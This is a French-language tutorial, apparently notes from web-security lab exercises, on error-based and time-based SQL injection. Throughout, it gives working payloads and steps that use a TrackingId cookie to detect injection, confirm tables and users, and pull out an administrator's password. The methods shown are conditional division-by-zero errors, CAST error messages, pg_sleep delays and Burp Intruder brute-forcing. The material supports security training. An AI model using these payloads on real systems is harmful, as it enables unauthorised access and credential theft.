Error-based

🔍 Définition

L'injection SQL basée sur les erreurs exploite les messages d'erreur générés par une base de données pour extraire ou déduire des informations sensibles.


⚙️ Principes de Base

Messages d'Erreur SQL

  • But : Utiliser les erreurs pour obtenir des informations sur la base de données.

  • Détails : Les messages d'erreur peuvent révéler des données ou la structure des tables.

Exemple 👍

xyz' AND 1=CONVERT(INT, (SELECT TOP 1 nom FROM utilisateurs));

Explication : tente de convertir le premier nom de la table utilisateurs en entier ; si le nom contient des caractères non numériques, cela provoquera une erreur de conversion, révélant ainsi des détails sur les données de la colonne nom.

Injection de Condition Booléenne

  • Principe : Injecter des conditions booléennes pour provoquer des erreurs spécifiques.

  • Exemple : Ajouter OR 1=1 pour observer si l'application génère une erreur ou non.

' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

Puisque 1=2 est faux, la partie THEN 1/0 n'est pas exécutée. Au lieu de cela, le ELSE est utilisé, renvoyant 'a'.

Résultat : Aucune erreur n'est générée parce que l'expression retourne 'a'.

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Explication : 1=1 est vrai, donc 1/0 provoque une erreur. La réponse HTTP montrera une différence si l'erreur est déclenchée.


Sénario

Test de la Présence d'Erreurs

Provoque une erreur de syntaxe car elle laisse une chaîne de caractères ouverte dans la requête SQL.

TrackingId=xyz' #

Corrigent cette erreur en fermant correctement la chaîne de caractères, confirmant que l'erreur précédente était bien une erreur de syntaxe SQL.

TrackingId=xyz''

Vérifier si l'application traite correctement une sous-requête valide

  • Essayez une sous-requête valide :

    TrackingId=xyz'||(SELECT '')||'

    Si cela semble invalide, essayez avec une table prévisible :

    TrackingId=xyz'||(SELECT '' FROM dual)||'

    Si l'erreur disparaît, cela indique que la base de données est probablement Oracle.


Tester des Requêtes Invalides

  • Soumettez une requête avec une table inexistante :

    TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

    Si une erreur est renvoyée, cela suggère que l'injection est interprétée comme une requête SQL.


Vérifier l'Existence d'une Table :

  • Testez l'existence de la table users (limite la sélection à une seule ligne avec WHERE ROWNUM = 1)

    TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

    Si aucune erreur n'est renvoyée, la table users existe.

  • Tester des Conditions :

    • Soumettez la requête suivante pour déclencher une erreur conditionnelle :

      TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

    Vérifiez que vous recevez un message d'erreur.

  • Changez ensuite en :

    TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Vérifiez que l'erreur disparaît. Cela montre que vous pouvez déclencher une erreur conditionnelle.

Une erreur apparaît pour la condition vraie 1=1 et disparaît pour la condition fausse 1=2


Tester l'Existence d'un Utilisateur :

  • Utilisez cette requête pour vérifier si un utilisateur nommé administrator existe :

    TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Si le username est administrator, et puisque 1=1 est toujours vrai, la requête provoquera une division par zéro, générant ainsi une erreur SQL.

Si le username n'est pas administrator, aucune ligne ne sera sélectionnée, et la sous-requête retournera simplement une chaîne vide, sans erreur.


Déterminer la Longueur d'un Mot de Passe :

  • Changez la valeur pour tester la longueur du mot de passe :

    TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

    Si une erreur est reçue, cela confirme que le mot de passe a plus de 1 caractère.


Déterminer les Caractères du Mot de Passe :

  • Envoyez la requête suivante à Burp Intruder pour tester chaque caractère :

    TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Définissez des payloads de a à z et de 0 à 9 dans Burp Intruder.


🛠️ CAST et Erreur Verbose

🔍 Principe :

Les messages d'erreur détaillés générés par une mauvaise configuration de la base de données peuvent révéler des informations précieuses, comme des données sensibles ou des détails sur la structure des tables. Ces informations peuvent être exploitées pour obtenir des données que l’on ne pourrait pas normalement voir.


Identifier la Construction de la Requête SQL

  • Exemple de Message d'Erreur :

    Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Explication : Ce message montre la requête SQL complète construite par l'application, incluant l'injection. Ici, l'erreur provient d'une chaîne de caractères non terminée (unquoted string) causée par l'injection d'une seule apostrophe. Cela indique où et comment les données sont intégrées dans la requête, ce qui aide à formuler des charges utiles (payloads) malveillantes valides.

  • Conseil : Commenter ou corriger la syntaxe SQL peut prévenir des erreurs, mais la manière dont la requête est construite peut fournir des indices utiles pour les attaques.


Utilisation de la Fonction CAST() :

  • Exemple de Requête :

    ' AND CAST((SELECT example_column FROM example_table) AS int)--

Explication : La fonction CAST() tente de convertir des données d'un type à un autre (ici, d'une chaîne de caractères à un entier). Si les données ne sont pas du bon type, une erreur se produit.

Message d'Erreur :

ERROR: invalid input syntax for type integer: "Example data"
  • Conseil : L'erreur générée peut révéler des données brutes ou des détails sur les colonnes et les tables. Cela est particulièrement utile si la limite de caractères empêche de déclencher des réponses conditionnelles.


🔄 Sénario

🛠️ Provoquer une Erreur SQL

  • Révéler des informations sur la requête SQL

    TrackingId=ogAZZfxtOKUELb'
    • Vérifier si la requête est maintenant correctement formatée et exécutée.

    TrackingId=ogAZZfxtOKUELbuJ'--

🔍 Tester une Sous-Requête Générique

  • Vérifier si la base de données accepte les sous-requêtes et la conversion de types.

    TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--

  • Corriger la Condition :

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--

📄 Extraire des Données

Adaptez la requête pour récupérer les noms d'utilisateur :

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
  • But : Tenter de récupérer les noms d'utilisateur en adaptant la requête. Vous recevrez une erreur si la requête est trop longue ou tronquée.

🌍 Libérer des Caractères

  • Supprimez la valeur originale du cookie pour libérer des caractères :

TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

Limiter les Résultats

  • Modifiez la requête pour limiter les résultats à une seule ligne :

TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

🔒 Extraire le Mot de Passe

  • Modifiez la requête pour obtenir le mot de passe de l'utilisateur :

TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--


Time Sleep

Si la condition est vraie, la base de données attend un certain temps avant de répondre. En mesurant le délai de réponse, on peut déterminer si la condition est vraie, révélant ainsi des informations sensibles.

Test condition vraie

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
  • But : L'application met 10 secondes à répondre, confirmant que la requête est exécutée correctement.

Test condition Fausse

TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
  • But : l'application répond immediatement

Vérifier la Présence d'un Utilisateur

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  • But : Confirmez que l'utilisateur administrator existe si l'application met 10 secondes à répondre.

  • %3 = ; en URL

  • + = espace en URL

Déterminer la Longueur du Mot de Passe

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  • But : Vérifiez si le mot de passe est plus long qu'un caractère en observant un délai de 10 secondes.

Extraire les données

Intruder :

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  • Définir les 2 payloads

  • Définir le "Maximum concurrent requests" dans "ressource pool" à 1 pour limitez le nombre de requêtes envoyées en même temps à une seule.

Regarder "Résponse received" pour voir le temps de réponse.

Voici la requête de base pour le Time sleep :

TrackingId=x'%3BSELECT+CASE+WHEN+(condition)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Last updated